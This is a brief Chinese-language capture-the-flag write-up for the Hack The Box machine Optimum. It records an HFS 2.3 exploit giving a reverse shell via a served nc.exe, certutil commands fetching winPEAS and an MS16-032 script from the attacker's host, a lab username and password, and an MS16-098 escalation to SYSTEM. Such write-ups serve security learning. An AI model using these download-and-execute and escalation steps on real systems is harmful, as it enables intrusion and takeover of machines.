[Day28] HTB Optimum

• URL : https://app.hackthebox.eu/machines/6
• IP : 10.129.209.84

Information Gathering

• 扫 Port
  • 
• 观察 80 port
  • 
  • HFS 2.3

寻找 Exploit

• 找到
  • https://www.exploit-db.com/exploits/39161
  • 需要准备 nc
    • wget https://github.com/int0x33/nc.exe/raw/master/nc.exe
• 依照需求开 http server
  • python3 -m http.server 80
  • 放 nc
• 执行脚本
  • 
• 收到 Reverse shell
  • 
• 取得 User flag
  • 

提权

• systeminfo
  • 
• 载豌豆
  • certutil -urlcache -f http://10.10.16.35:8000/winPEASx64.exe winpeas.exe
  • 
• 执行豌豆
  • 
  • 
  • 看到帐密
    • kostas
    • kdeEjDowkS*
• 使用 Windows-Exploit-Suggester
  • https://github.com/AonCyberLabs/Windows-Exploit-Suggester
  • 需要先装指定版本的 xlrd
    • pip install xlrd==1.2.0
  • ./windows-exploit-suggester.py --update
  • 
    • 寻找推荐的 Exploit　脚本
• 尝试 MS16-032
  • wget https://www.exploit-db.com/download/39719 -O Invoke-MS16-032.ps1
  • 
  • 载脚本
    • certutil -urlcache -f http://10.10.16.35/Invoke-MS16-032.ps1 Invoke-MS16-032.ps1
  • 失败
    • https://evi1cg.me/archives/MS16-032-Windows-Privilege-Escalation.html
    • 看起来因为他是给 GUI 用的，需要弹出额外视窗
• 尝试 MS16-098
  • https://github.com/sensepost/ms16-098
  • 载下来执行
    • 
    • 成功
  • 取得 System Flag
    •